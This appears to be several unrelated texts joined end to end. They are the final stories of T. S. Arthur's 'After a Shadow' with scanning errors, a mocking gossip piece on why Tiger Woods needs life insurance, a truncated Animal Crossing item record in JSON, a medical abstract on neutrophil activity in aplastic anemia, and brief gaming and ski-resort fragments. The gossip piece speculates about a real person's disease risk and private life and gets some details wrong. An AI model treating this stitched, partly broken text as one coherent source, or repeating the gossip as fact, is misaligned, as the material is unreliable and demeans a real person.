"Right soon," answered Mrs. Thompson, beginning to bustle about.
There was no asperity in her voice.
After washing from his hands and face the dust and soil of work, Joe
left the kitchen, and went to the little bedroom. A pair of large
bright eyes looked up at him from the snowy bed; looked at him
tenderly, gratefully, pleadingly. How his heart swelled in his
bosom! With what a quicker motion came the heart-beats! Joe sat
down, and now, for the first time, examining the thin free carefully
under the lamp light, saw that it was an attractive face, and full
of a childish sweetness which suffering had not been able to
obliterate.
"Your name is Maggie?" he said, as he sat down and took her soft
little hand in his.
"Yes, sir." Her voice struck a chord that quivered in a low strain
of music.
"Have you been sick long?"
"Yes, sir." What a sweet patience was in her tone!
"Has the doctor been to see you?"
"He used to come."
"But not lately?"
"No, sir."
"Have you any pain?"
"Sometimes, but not now."
"When had you pain?"
"This morning my side ached, and my back hurt when you carried me."
"It hurts you to be lifted or moved about?"
"Yes, sir."
"Your side doesn't ache now?"
"No, sir."
"Does it ache a great deal?"
"Yes, sir; but it hasn't ached any since I've been on this soft
bed."
"The soft bed feels good."
"O, yes, sir--so good!" What a satisfaction, mingled with gratitude,
was in her voice!
"Supper is ready," said Mrs. Thompson, looking into the room a
little while afterwards.
Joe glanced from his wife's face to that of Maggie; she understood
him, and answered,--
"She can wait until we are done; then I will bring her somethings to
eat." There was an effort at indifference on the part of Mrs.
Thompson, but her husband had seen her through the window, and
understood that the coldness was assumed. Joe waited, after sitting
down to the table, for his wife to introduce the subject uppermost
in both of their thoughts; but she kept silent on that theme, for
many minutes, and he maintained a like reserve. At last she said,
abruptly,--
"What are you going to do with that child?"
"I thought you understood me that she was to go to the poorhouse,"
replied Joe, as if surprised at her question.
Mrs. Thompson looked rather strangely at her husband for sonic
moments, and then dropped her eyes. The subject was not again
referred to during the meal. At its close, Mrs. Thompson toasted a
slice of bread, and softened, it with milk and butter; adding to
this a cup of tea, she took them into Maggie, and held the small
waiter, on which she had placed them, while the hungry child ate
with every sign of pleasure.
"Is it good?" asked Mrs. Thompson, seeing with what a keen relish
the food was taken.
The child paused with the cup in her hand, and answered with a look
of gratitude that awoke to new life old human feelings which had
been slumbering in her heart for half a score of years.
"We'll keep her a day or two longer; she is so weak and helpless,"
said Mrs. Joe Thompson, in answer to her husband's remark, at
breakfast-time on the next morning, that he must step down and see
the Guardians of the Poor about Maggie.
"She'll be so much in your way," said Joe.
"I sha'n't mind that for a day or two. Poor thing!"
Joe did not see the Guardians of the Poor on that day, on the next,
nor on the day following. In fact, he never saw them at all on
Maggie's account, for in less than a week Mrs. Joe Thompson would as
soon leave thought of taking up her own abode in the almshouse as
sending Maggie there.
What light and blessing did that sick and helpless child bring to
the home of Joe Thompson, the poor wheelwright! It had been dark,
and cold, and miserable there for a long time just because his wife
had nothing to love and care for out of herself, and so became soar,
irritable, ill-tempered, and self-afflicting in the desolation of
her woman's nature. Now the sweetness of that sick child, looking
ever to her in love, patience, and gratitude, was as honey to her
soul, and she carried her in her heart as well as in her arms, a
precious burden. As for Joe Thompson, there was not a man in all the
neighborhood who drank daily of a more precious wine of life than
he. An angel had come into his house, disguised as a sick, helpless,
and miserable child, and filled all its dreary chambers with the
sunshine of love.
XVI.
WHICH WAS MOST THE LADY?
"DID you ever see such a queer looking figure?" exclaimed a young
lady, speaking loud enough to be heard by the object of her remark.
She was riding slowly along in an open carriage, a short distance
from the city, accompanied by a relative. The young man, her
companion, looked across the road at a woman, whose attire was
certainly not in any way very near approach to the fashion of the
day. She had on a faded calico dress, short in the waist; stout
leather shoes; the remains of what had once been a red merino long
shawl, and a dingy old Leghorn bonnet of the style of eighteen
hundred and twenty.
As the young man turned to look at the woman, the latter raised her
eyes and fixed them steadily upon the young lady who had so rudely
directed towards her the attention of her companion. Her face, was
not old nor faded, as the dress she wore. It was youthful, but plain
almost to homeliness; and the smallness of her eyes, which were
close together and placed at the Mongolian angle, gave to her
countenance a singular aspect.
"How do you do, aunty?" said the young man gently drawing on the
rein of his horse so as still further to diminish his speed.
The face of the young girl--for she was quite young--reddened, and she
slackened her steps so as to fall behind the rude, unfeeling couple,
who sought to make themselves merry at her expense.
"She is gypsy!" said the young lady, laughing.
"Gran'mother! How are catnip and hoarhound, snakeroot and tansy,
selling to-day? What's the state of the herb market?" joined the
young man with increasing rudeness.
"That bonnet's from the ark--ha! ha!"
"And was worn by the wife of Shem, Ham or Japheth. Ha! now I've got
it! This is the great, great, great granddaughter of Noah. What a
discovery! Where's Barnum? Here's a chance for another fortune!"
The poor girl made no answer to this cruel and cowardly assault, but
turned her face away, and stood still, in order to let the carriage
pass on.
"You look like a gentleman and a lady," said a man whom was riding
by, and happened to overhear some of their last remarks; "and no
doubt regard yourselves as such. But your conduct is anything but
gentlemanly and lady-like; and if I had the pleasure of knowing your
friends, I would advise them to keep you in until you had sense and
decency enough not to disgrace yourselves and them!"
A fiery spot burned instantly on the young man's face, and fierce
anger shot from his eyes. But the one who had spoken so sharply
fixed upon him a look of withering contempt, and riding close up to
the carriage, handed him his card, remarking coldly, as he did so,--
"I shall be pleased to meet you again, sir. May I ask your card in
return?"
The young man thrust his hand indignantly into his pocket, and
fumbled there for some moments, but without finding a card.
"No matter," said he, trying to speak fiercely; "you will hear from
me in good time."
"And you from me on the spot, if I should happen to catch you at
such mean and cowardly work as you were just now engaged in," said
the stranger, no seeking to veil his contempt.
"The vulgar brute! O, he's horrid!" ejaculated the young lady as her
rather crestfallen companion laid the whip upon his horse and dashed
ahead. "How he frightened me!"
"Some greasy butcher or two-fisted blacksmith," said the elegant
young man with contempt. "But," he added boastfully, "I'll teach him
a lesson!"
Out into the beautiful country, with feeling a little less buoyant
than when they started, rode our gay young couple. As the excitement
of passion died away both feel a little uncomfortable in mind, for
certain unpleasant convictions intruded themselves, and certain
precepts in the code of polite usage grew rather distinct in their
memories. They had been thoughtless, to say the least of it.
"But the girl looked so queer!" said the young lady. "I couldn't
help laughing to save my life. Where on earth did she come from?"
Not very keen was their enjoyment of the afternoon's ride, although
the day was particularly fine, and their way was amid some bits of
charming scenery. After going out into the country some five or six
miles, the horse's head was turned, and they took their way
homeward. Wishing to avoid the Monotony of a drive along the same
road the young man struck across the country in order to reach
another avenue leading into the city, but missed his way and
bewildered in a maze of winding country roads. While descending a
steep hill, in a very secluded place, a wheel came off, and both
were thrown from the carriage. The young man received only a slight
bruise, but the girl was more seriously injured. Her head had struck
against a stone with so strong a concussion as to render her
insensible.
Eagerly glancing around for aid, the young man saw, at no great
distance from the road, a poor looking log tenement, from the mud
chimney of which curled a thin column of smoke, giving signs of
inhabitants. To call aloud was his first impulse, and he raised his
voice with the cry of "Help!"
Scarcely had the sound died away, ere he saw the door of the cabin
flung open, and a woman and boy looked eagerly around.
"Help!" he cried again, and the sound of his voice directed their
eyes towards him. Even in his distress, alarm, and bewilderment, the
young man recognized instantly in the woman the person they had so
wantonly insulted only an hour or two before. As soon as she saw
them, she ran forward hastily, and seeing the white face of the
insensible girl, exclaimed, with pity and concern,--
"O, sir! is she badly hurt?"
There was heart in that voice of peculiar sweetness.
"Poor lady!" she said, tenderly, as she untied the bonnet strings
with gentle care, and placed her hand upon the clammy temples.
"Shall I help you to take her over to the house?" she added, drawing
an arm beneath the form of the insensible girl.
"Thank you!" There was a tone of respect in the young man's voice.
"But I can carry her myself;" and he raised the insensible form in
his arms, and, following the young stranger, bore it into her humble
dwelling. As he laid her upon a bed, he asked, eagerly,--
"Is there a doctor near?"
"Yes, sir," replied the girl. "If you will come to the door, I will
show you the doctor's house; and I think he must be at home, for I
saw him go by only a quarter of an hour since. John will take care
of your horse while you are away, and I will do my best for the poor
lady."
The doctor's house, about a quarter of a mile distant, was pointed
out, and the young man hurried off at a rapid speed. He was gone
only a few minutes when his insensible companion revived, and,
starting up, looked wildly around her.
"Where am I? Where is George?" she asked, eagerly.
"He has gone for the doctor; but will be back very soon," said the
young woman, in a kind, soothing voice.
"For the doctor! Who's injured?" She had clasped her hands across
her forehead, and now, on removing them, saw on one a wet stain of
blood. With a frightened cry she fell backs upon the pillow from
which she had risen.
"I don't think you are much hurt," was said, in a tone of
encouragement, as with a damp cloth the gentle stranger wiped very
tenderly her forehead. "The cut is not deep. Have you pain
anywhere?"
"No," was faintly answered.
"You can move your arms; so _they_ are uninjured. And now, won't you
just step on to the floor, and see if you can bear your weight? Let
me raise you up, There, put your foot down--now the other--now take a
step--now another. There are no bones broken! How glad I am!"
How earnest, how gentle, how pleased she was. There was no acting in
her manner. Every tone, expression, and gesture showed that heart
was in everything.
"O, I am glad!" she repeated. "It might have been so much worse."
The first glance into the young girl's face was one of
identification; and even amid the terror that oppressed her heart,
the unwilling visitor felt a sense of painful mortification. There
was no mistaking that peculiar countenance. But how different she
seemed! Her voice was singularly sweet, her manner gentle and full
of kindness, and in her movements and attitude a certain ease that
marked her as one not to be classed, even by the over-refined young
lady who was so suddenly brought within her power, among the common
herd.
All that assiduous care and kind attention could do for the unhappy
girl, until the doctor's arrival, was done. After getting back to
the bed from which she had been induced to rise, in order to see if
all her limbs were sound, she grew sick and faint, and remained so
until the physician came. He gave it as his opinion that she had
received some internal injuries, and that it would not be safe to
attempt her removal.
The young couple looked at each other with dismay pictured in their
countenances.
"I wish it were in my power to make you more comfortable," said the
kind-hearted girl, in whose humble abode they were. "What we have is
at your service in welcome, and all that it is in my power to do
shall be done for you cheerfully. If father was only at home--but
that can't be helped."
The young man dazed upon her in wonder and shame--wonder at the charm
that now appeared in her singularly marked countenance, and shame
for the disgraceful and cowardly cruelty with which he had a little
while before so wantonly assailed her.
The doctor was positive about the matter, and so there was no
alternative. After seeing his unhappy relative in as comfortable a
condition as possible, the young man, with the doctor's aid,
repaired his crippled vehicle by the restoration of a linchpin, and
started for the city to bear intelligence of the sad accident, and
bring out the mother of the injured girl.
Alone with the person towards whom she had only a short time before
acted in such shameless violation of womanly kindness and lady-like
propriety, our "nice young lady" did not feel more comfortable in
mind than body. Every look--every word--every tone--every act of the
kind-hearted girl--was a rebuke. The delicacy of her attentions, and
the absence of everything like a desire to refund her of the recent
unpleasant incident, marked her as possessing, even if her face and
attire were plain, and her position humble, all the elements of a
true lady.
Although the doctor, when he left, did not speak very encouragingly,
the vigorous system of the young girl began to react and she grew
better quite rapidly so that when her parents arrived with the
family physician, she was so much improved that it was at once
decided to take her to the city.
For an hour before her parents came she lay feigning to be in sleep,
yet observing every movement and word of her gentle attendant. It
was an hour of shame, self-reproaches, and repentance. She was not
really bad at heart; but false estimates of things, trifling
associations, and a thoughtless disregard of others, had made her
far less a lady in act than she imagined herself to be in quality.
Her parents, when they arrived, overwhelmed the young girl with
thankfulness; and the father, at parting, tried to induce her to
accept a sum of money. But the offers seemed to disturb her.
"O, no, sir!" she said, drawing back, while a glow came into her
pale face, and made it almost beautiful; "I have only done a simple
duty."
"But you are poor," he urged, glancing around. "Take this, and let
it make you more comfortable."
"We are contented with what God has given to us," she replied,
cheerfully. "For what he gives is always the best portion. No, sir;
I cannot receive money for doing only a common duty."
"Your reward is great," said the father, touched with the noble
answer, "may God bless you, my good girl! And if you will not
receive my money, accept my grateful thanks."
As the daughter parted from the strange young girl, she bent down
and kissed her hand; then looking up into her face, with tearful
eyes, she whispered for her ears alone,--
"I am punished, and you are vindicated. O, let your heart forgive
me!"
"It was God whom you offended," was whispered back. "Get his
forgiveness, and all will be right. You have mine, and also the
prayer of my heart that you may be good and wise, for only such are
happy."
The humbled girl grasped her hand tightly, and murmured, "I shall
never forget you--never!"
Nor did she. If the direct offer of her father was declined,
indirect benefits reached, through her means, the lonely log
cottage, where everything in time put on a new and pleasant aspect,
wind the surroundings of the gentle spirit that presides there were
more in agreement with her true internal quality. To the thoughtless
young couple the incidents of that day were a life-lesson that never
passed entirely from their remembrance. They obtained a glance below
the surface of things that surprised them, learning that, even in
the humblest, there may be hearts in the right places--warm with pure
feelings, and inspired by the noblest sentiments of humanity; and
that highly as they esteem themselves on account of their position,
there was one, at least, standing below them so far as external
advantages were concerned, who was their superior in all the higher
qualities that go to make up the real lady and gentleman.
XVII.
OTHER PEOPLE'S EYES.
"OUR parlor carpet is beginning to look real shabby," said Mrs.
Cartwright. "I declare! if I don't feel right down ashamed of it,
every time a visitor, who is anybody, calls in to see me."
"A new one will cost--"
The husband of Mrs. Cartwright, a good-natured, compliant man, who
was never better pleased than when he could please his wife, paused
to let her finish the sentence, which she did promptly, by saying,--
"Only forty dollars. I've counted it all up. It will take thirty-six
yards. I saw a beautiful piece at Martin's--just the thing--at one
dollar a yard. Binding, and other little matters, won't go beyond
three or four dollars, and I can make it myself, you know."
"Only forty dollars! Mr. Cartwright glanced down at the carpet which
had decorated the floor of their little parlor for nearly five
years. It had a pleasant look in his eyes, for it was associated
with many pleasant memories. Only forty dollars for a new one! If
the cost were only five, instead of forty, the inclination to banish
this old friend to an out-of-the-way chamber would have been no
stronger in the mind of Mr. Cartwright. But forty dollars was an
item in the calculation, and to Mr. Cartwright a serious one. Every
year he was finding it harder to meet the gradually increasing
demand upon his purse; for there was a steadily progressive
enlargement of his family, and year after year the cost of living
advanced. He was thinking of this when his wife said,--
"You know, Henry, that cousin Sally Gray is coming here on a visit
week after next. Now I do want to put the very best face on to
things while she is here. We were married at the same time, and I
hear that her husband is getting rich. I feel a little pride about
the matter, and don't want her to think that we're growing worse off
than when we began life, and can't afford to replace this shabby old
carpet by a new one." No further argument was needed. Mr. Cartwright
had sixty dollars in one of the bureau drawers,--a fact well known to
his wife. And it was also well known to her that it was the
accumulation of very careful savings, designed, when the sum reached
one hundred dollars, to cancel a loan made by a friend, at a time
when sickness and a death in the family had run up their yearly
expenses beyond the year's income. Very desirous was Mr. Cartwright
to pay off this loan, and he had felt lighter in heart as those
aggregate of his savings came nearer and nearer to the sum required
for that purpose.
But he had no firmness to oppose his wife in anything. Her wishes in
this instance, as in many others, he unwisely made a law. The
argument about cousin Sally Gray was irresistible. No more than his
wife did he wish to look poor in her eyes; and so, for the sake of
her eyes, a new carpet was bought, and the old one--not by any means
as worn and faded as the language of his wife indicated--sent up
stairs to do second-hand duty in the spare bedroom.
Not within the limit of forty dollars was the expense confined. A
more costly pattern than could be obtained for one dollar a yard
tempted the eyes of Mrs. Cartwright, and abstracted from her
husband's savings the sum of over fifty dollars. Mats and rugs to go
with the carpet were indispensable, to give the parlor the right
effect in the eyes of cousin Sally Gray, and the purchase of these
absorbed the remainder of Mr. Cartwright's carefully hoarded sixty
dollars.
Unfortunately, for the comfortable condition of Mrs. Cartwright's
mind, the new carpet, with its flaunting colors, put wholly out of
countenance the cane-seat chairs and modest pier table, and gave to
the dull paper on the wall a duller aspect. Before, she had scarcely
noticed the hangings on the Venetian blinds, now, it seemed as if
they had lost their freshness in a day; and the places where they
were broken, and had been sewed again, were singularly apparent
every time her eye rested upon them.
"These blinds do look dreadfully!" she said to her husband, on the
day after the carpet went down. "Can you remember what they cost?"
"Eight dollars," replied Mr. Cartwright.
"So much?" The wife sighed as she spoke.
"Yes, that was the price. I remember it very well."
"I wonder what new hangings would cost?" Mrs. Cartwright's manner
grew suddenly more cheerful, as the suggestion of a cheaper way to
improve the windows came into her thought.
"Not much, I presume," answered her husband.
"Don't you think we'd better have it done?"
"Yes," was the compliant answer.
"Will you stop at the blind-maker's, as you go to the store, and
tell him to send up for them to-day? It must be attended to at once,
you know, for cousin Sally will be here on next Wednesday."
Mr. Cartwright called at the blind-maker's, as requested, and the
blind-maker promised to send for the blinds. From there he continued
onto the store in which he was employed. There he found a note on
his desk from the friend to whom he was indebted for the one hundred
dollars.
"Dear Cartwright" (so the note ran), "if it is possible for you to
let me have the one hundred dollars I loaned you, its return
to-morrow will be a particular favor, as I have a large payment to
make, and have been disappointed in the receipt of a sum of money
confidently expected."
A very sudden change of feeling did Mr. Cartwright experience. He
had, in a degree, partaken of his wife's pleasure in observing the
improved appearances of their little parlor but this pleasure was
now succeeded by a sense of painful regret and mortification. It was
nearly two hours before Mr. Cartwright returned an answer to his
friend's note. Most of that time had been spent in the vain effort
to discover some way out of the difficulty in which he found himself
placed. He would have asked an advance of one hundred dollars on his
salary, but he did not deem that a prudent step, and for two
reasons. One was, the known character of his employers; and the
other was involved in the question of how he was to support his
family for the time he was working out this advance? At last, in
sadness and humiliation, he wrote a brief reply, regretting his
inability to replace the loan now, but promising to do it in a very
short time. Not very long after this answer was sent, there came
another note from his friend, written in evident haste, and under
the influence of angry feelings. It was in these words:--
"I enclose your due bill, which I, yesterday, thought good for its
face. But, as it is worthless, I send it back. The man who buys new
carpets and new furniture, instead of paying his honest debts, can
be no friend of mine. I am sorry to have been mistaken in Henry
Cartwright."
Twice did the unhappy man read this cutting letter; then, folding it
up slowly, he concealed it in one of his pockets. Nothing was said
about it to his wife, whose wordy admiration of the new carpet, and
morning, noon, and night, for the next two or three days, was a
continual reproof of his weakness for having yielded to her wishes
in a matter where calm judgement and a principle of right should
have prevailed. But she could not help noticing that he was less
cheerful; and once or twice he spoke to her in a way that she
thought positively ill-natured. Something was wrong with him; but
what that something was, she did not for an instant imagine.
At last the day arrived for cousin Sally Gray's visit. Unfortunately
the Venetian blinds were still at the blind-maker's, where they were
likely to remain for a week longer, as it was discovered, on the
previous afternoon, that he had never touched them since they came
into his shop. Without them the little parlor had a terribly bare
look; the strong light coming in, and contrasting harshly the new,
gaudy carpet with the old, worn, and faded furniture. Mrs.
Cartwright fairly cried with vexation.
"We must have something for the windows, Henry," she said, as she
stood, disconsolate, in the parlor, after tea. "It will never do in
the world to let cousin Sally find us in this trim."
"Cousin Sally will find a welcome in our hearts," replied her
husband, in a sober voice, "and that, I am sure, will be more
grateful to her than new carpets and window blinds."
The way in which this was spoken rather surprised Mrs. Cartwright,
and she felt just a little rebuked.
"Don't you think," she said, after a few moments of silence on both
sides, "that we might afford to buy a few yards of lace to put up to
the windows, just for decency's sake?"
"No," answered the husband, firmly. "We have afforded too much
already."
His manner seemed to Mrs. Cartwright almost ill-natured. It hurt her
very much. Both sat down in the parlor, and both remained silent.
Mrs. Cartwright thought of the mean appearance everything in that
"best room" would have in the eyes of cousin Sally, and Mr.
Cartwright thought of his debt to his friend, and of that friend's
anger and alienation. Both felt more uncomfortable than they had
been for a long time.
On the next day cousin Sally arrived. She had not come to spy out
the nakedness of the land,--not for the purpose of making contrasts
between her own condition in life and that of Mr. Cartwright,--but
from pure love. She had always been warmly attached to her cousin;
and the years during which new life-associations had separated them
had increased rather than diminished this attachment. But the
gladness of their meeting was soon overshadowed; at least for cousin
Sally. She saw by the end of the first day's visit that her cousin
was more concerned to make a good appearance in her eyes,--to have
her understand that she and her husband were getting along bravely
in the world,--than to open her heart to her as of old, and exchange
with her a few pages in the history of their inner lives. What
interest had she in the new carpet, or the curtainless window, that
seemed to be the most prominent of all things in the mind of her
relative? None whatever! If the visit had been from Mary Cartwright
to herself, she would never have thought for an instant of making
preparations for her coming in the purchase of new furniture, or by
any change in the externals of her home. All arrangements for the
reception would have been in her heart.
Cousin Sally was disappointed. She did not find the relative, with
whom so many years of her life had been spent in sweet intercourse,
as she had hoped to find her. The girlish warmth of feelings had
given place to a cold worldliness that repelled instead of
attracting her. She had loved, and suffered much; had passed through
many trials, and entered through many opening doors into new
experiences, during the years since their ways parted. And she had
come to this old, dear friend, yearning for that heart
intercourse,--that reading together of some of the pages of their
books of life,--which she felt almost as a necessity. What interest
had she for the mere externals of Mary's life? None! None! And the
constant reference thereto, by her cousin, seemed like a
desecration. Careful and troubled about the little things of life,
she found the dear old friend of her girlish days, to whom she had
come hopefully, as to one who could comprehend, as in earlier years,
the feelings, thoughts, and aspirations which had grown stronger,
deeper, and of wider range.
Alas! Alas! How was the fine gold dimmed in her eyes!
"Dear Mary!" she said to her cousin, on the morning of the day that
was, to end her visit,--they were sitting, together in the little
parlor, and Mrs. Cartwright had referred, for the fortieth time, to
the unshaded windows, and declared herself mortified to death at the
appearance of things,--"Dear Mary! It was to see you, not your
furniture, that I came. To look into your heart and feel it beating
against mine as of old; not to pry, curiously, into your ways of
living, nor to compare your house-furnishing with my own. But for
your constant reference to these things, I should not have noticed,
particularly, how your house was attired; and if asked about them,
could only have answered, 'She's living very nicely.' Forgive me for
this plain speech, dear cousin. I did not mean to give utterance to
such language; but the words are spoken now, and cannot be
recalled."
Mrs. Cartwright, if not really offended, was mortified and rebuked
and these states of feeling united with pride, served to give
coldness to her exterior. She tried to be cordial in manner towards
her cousin; to seem as if she had not felt her words; but this was
impossible, for she had felt them too deeply. She saw that the
cherished friend and companion of her girlhood was disappointed in
her; that she had come to look into her heart, and not into the
attiring of her home; and was going away with diminished affection.
After years of divergence, their paths had touched; and, separating
once more, she felt that they would never run parallel again.
A few hours later, cousin Sally gave her a parting kiss. How
different in warmth to the kiss of meeting! Very sad, very
dissatisfied with herself,--very unhappy did Mrs. Cartwright feel, as
she sat musing alone after her relative had departed. She was
conscious of having lost a friend forever, because she had not risen
to the higher level to which that friend had attained--not in
external, but in the true internal life.
But a sharper mortification was in store for her. The letter of her
husband's friend, in which he had returned the due bill for one
hundred dollars, fell accidentally into her hands, and overwhelmed
her with consternation. For that new carpet, which had failed to win
more than a few extorted sentences of praise from cousin Sally Gray,
her husband had lost the esteem of one of his oldest and best
friends, and was now suffering, in silence, the most painful trial
of his life.
Poor, weak woman! Instead of the pleasure she had hoped to gain in
the possession of this carpet, it had made her completely wretched.
While sitting almost stupefied with the pressure that was on her
feelings, a neighbor called in, and she went down to the parlor to
meet her.
"What a lovely carpet!" said the neighbor, in real admiration.
"Where did you buy it?"
"At Martin's," was answered.
"Had they any more of the same pattern?" inquired the neighbor.
"This was the last piece."
The neighbor was sorry. It was the most beautiful pattern she had
ever seen; and she would hunt the city over but what she would find
another just like it.
"You may have this one," said Mrs Cartwright, on the impulse of the
moment. "My husband doesn't particularly fancy it. Your parlor is
exactly the size of mine. It is all made and bound nicely as you can
see; and this work on it shall cost you nothing. We paid a little
over fifty dollars for the carpet before a stitch was taken in it;
and fifty dollars will make you the possessor."
"Are you really in earnest?" said the neighbor.
"Never more so in my life."
"It is a bargain, then."
"Very well."
"When can I have it?"
"Just as soon as I can rip it from the floor," said Mrs. Cartwright,
in real earnest.
"Go to work," replied the neighbor, laughing out at the novelty of
the affair. "Before your task is half done, I will be back with the
fifty dollars, and a man to carry home the carpet."
And so she was. In less than half an hour after the sale was made,
in this off-hand fashion, Mrs. Cartwright sat alone in her parlor,
looking down upon the naked floor. But she had five ten-dollar gold
pieces in her hand, and they were of more value in her eyes than
twenty carpets. Not long did she sit musing here. There was other
work to do. The old carpet must be replaced upon the parlor floor
ere her husband's return. And it was replaced. In the midst of her
hurried operations the old blinds with the new hangings came in, and
were put up to the windows. When Mr. Cartwright returned home, and
stepped inside of the little parlor, where he found his wife
awaiting him, he gave an exclamation of surprise.
"Why, Mary! What is the meaning of this? Where is the new carpet?"
She laid the five gold pieces in his hand, and then looked
earnestly, and with tears in her eyes, upon his wondering face.
"What are these, Mary? Where did they come from?"
"Cousin Sally is gone. The carpet didn't seem attractive in her
eyes, and it has lost all beauty in mine. So I sold the unlovely
thing, and here is the money. Take it, dear Henry, and let it serve
the purpose for which it was designed."
"All right again!" exclaimed Mr. Cartwright, as soon as the whole
matter was clear to him. "All right, Mary, dear! That carpet, had it
remained, would have wrecked, I fear, the happiness of our home. Ah,
let us consult only our own eyes hereafter, Mary--not the eyes of
other people! None think the better of us for what we seem--only for
what we are. It is not from fine furniture that our true pleasure in
life is to come, but from a consciousness of right-doing. Let the
inner life be right, and the outer life will surely be in just
harmony. In the humble abode of virtue there is more real happiness
than in the palace-homes of the unjust, the selfish, and
wrong-doers. The sentiment is old as the world, but it must come to
every heart, at some time in life, with all the force of an original
utterance. And let it so come to us now, dear wife!"
And thus it did come. This little experience showed them an aspect
of things that quickened their better reasons, and its smart
remained long enough to give it the power of a monitor in all their
after lives. They never erred again in this wise. For two or three
years more the old carpet did duty in their neat little parlor, and
when it was at last replaced by a new one, the change was made for
their own eyes, and not for the eyes of another.
End of Project Gutenberg's After a Shadow, and Other Stories, by T. S. Arthur
*** |
7 Reasons Tiger Woods Probably Needs Life Insurance
Life insurance, to some people, might kind of feel like digging your own grave. Who wants to spend that much time preparing for their own demise? But we're all at risk of kicking the bucket earlier than we'd probably like, so it's a good idea to be ready for whatever happens. Plus, some of us have more risk factors than others. Take Tiger Woods for example...
It Looks Like He Left His Driving Skills at the Golf Course — It's a well-known story by now...Tiger apparently ran over some bushes, hit a few hedges, and plowed through a fire hydrant before finally crashing into a tree. Fortunately, he managed to walk away with minimal injuries (but over $8000 worth of damage to his Cadillac Esplanade).
Celebrity car crashes are nothing new, usually caused by the celebs driving under the influence. Tiger, on the other hand, was "distracted". Totaling your car in an alcohol-induced haze is one thing, but to crash into a tree because you weren't looking? That's just bad driving. Of course, there was a good reason he was so distracted...
His Wife Swings a Mean Golf Club — It's pretty hard to focus on your driving when you're being attacked by the mother of your children. Reports say that Elin Nordegren, Tiger's lovely wife, was swinging away at the car with one of his own golf clubs. Try keeping keep your eyes on the road when a thick aluminum stick comes crashing through your window shield.
What's more, one of Tiger's injuries (a cut on his lip) may have occurred before the crash. Apparently this petite blond is not afraid to kick some serious butt when provoked. Tiger might want to watch his.
He's at Risk of Developing STDs — Of course, his wife's rage wasn't completely unprovoked. After all, squeaky-clean Tiger's apparently been putting on another woman's green.
Hold on. Make that eleven women. At the rate the allegations are popping up, it looks like Tiger's going the full 18 holes.
You don't need to be a doctor to know that this kind of varied and vigorous love life increases your chances of catching something nasty. With all the action Tiger's been allegedly getting, he'd be a prime candidate for a whole host of unpleasant diseases, some potentially fatal.
His Fans Love Him to Death — There's a reason why celebrities get restraining orders from stalkers: they're freaking insane. Celebrity stalkers have ranged from the creepy-but-silly to the I'm-obsessed-with-you-therefore-I-must-come-at-you-with-sharp-objects sort, and occasionally they end up killing their targets. Someone as iconic as The Greatest Golfer of Our Generation is bound to have more than a few people wanting to sleep in his skin, and that's not just in the metaphorical sense.
He's In and Out of the Hospital — For an athlete in a relatively low-impact sport, Tiger has a pretty extensive hospital record. He's had arthroscopic surgery on his left knee — twice, at that — and suffered a double stress fracture on his left tibia (that's the shin bone to us non-scientific folk). Also, the golf prodigy apparently had a benign tumor removed from that same knee back in 1994.
So either golf's a deceptively physical sport that takes its toll on your legs, or maybe Tiger's been injuring himself through a different kind of swinging. Whatever it is, all those injuries and operations can't be a good sign. Chances are he's going to end up in the emergency room again, too — possibly with a peculiar golf club-shaped dent on his forehead.
He Has a Higer-Than-Average Prostate Cancer Risk — According to research, there are several risk factors to developing prostate cancer, and Tiger's got two of them. For reasons unknown, black men tend to be at higher risk of prostate cancer. Another risk factor is a history of the disease in the family, and his dad sadly passed away from the cancer back in 2006.
He can Afford It — Tiger Woods is worth a whopping $900 million. That means he can easily afford insurance for an entire town, so he can definitely afford it for himself and his children.
Then again, with that fortune his dependents should be well taken care of even without life insurance, so maybe he should save his money. Plus, if the reports are true, Tiger's going to need a little extra cash if he's really going to pull a Kobe. It looks like he'll have to buy his wife at least 11 of those $4 million rings to get out of the rough this time. |
{
"id": "antique-clock",
"name": "Antique Clock",
"category": "Furniture",
"games": {
"nl": {
"orderable": true,
"interiorThemes": [
"Antique"
],
"sellPrice": {
"currency": "bells",
"value": 588
},
"sources": [
"Nookling stores"
],
"buyPrices": [
{
"currency": "bells",
"value": 2352
}
]
},
"nh": {
"orderable": true,
"sellPrice": {
"currency": "bells",
"value": 11000
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"buyPrices": [
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"currency": "bells",
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"variations": {
"brown": "Brown",
"natural": "Natural",
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Increased respiratory burst activity of neutrophils in patients with aplastic anemia: effects of granulocyte colony-stimulating factor and granulocyte-macrophage colony-stimulating factor.
The superoxide (O2-)-releasing capacity in response to N-formyl-methionyl-leucyl-phenylalanine (FMLP) and the priming effects of recombinant human granulocyte colony-stimulating factor (rhG-CSF) and granulocyte-macrophage colony-stimulating factor (rhGM-CSF) on FMLP-induced O2-release were investigated in neutrophils from 13 patients with aplastic anemia (AA). The O2(-)-releasing capacity of AA neutrophils (0.85 +/- 0.36 nmol/5 min/1 x 10(5) cells, n = 13) was significantly (p < 0.01) increased as compared with that of normal neutrophils (0.24 +/- 0.12 nmol/5 min/1 x 10(5) cells, n = 17). There was no close relationship between the O2(-)-releasing capacity and the peripheral blood neutrophil count or the plasma concentration of C-reactive protein. The plasma concentrations of G-CSF and GM-CSF were not elevated to the detectable levels (< 0.1 ng/ml and < 0.2 ng/ml, respectively) in all patients tested. FMLP-induced O2(-)-release was further enhanced by pretreatment of cells with rhG-CSF or rhGM-CSF for 10 min at 37 degrees C, except that no significant priming by rhG-CSF was observed in five patients. The priming effect of rhGM-CSF was consistently greater than that of rhG-CSF in all patients. The i.v. administration of rhGM-CSF (6 micrograms/kg body weight/day) to one patient resulted in an increase in neutrophil O2(-)-release stimulated by FMLP. These findings indicate that neutrophils from AA patients are already primed in vivo for enhanced release of O2- and that these neutrophil functions are further potentiated by rhG-CSF or rhGM-CSF. |
Yesterday the Power A folks celebrated the Android launch of Modern Combat 4: Ridiculous Dialog by giving away (or attempting to give away) free MOGA game controllers with copies of the game. If you managed to score one, this is what you're in for.
And if you didn't mange to secure a controller, perhaps this will help you decide if you want to buy one anyway, or if you just want to grab Modern Combat 4 to watch the characters say completely silly things. |
Boston Mills/Brandywine Ski Resort
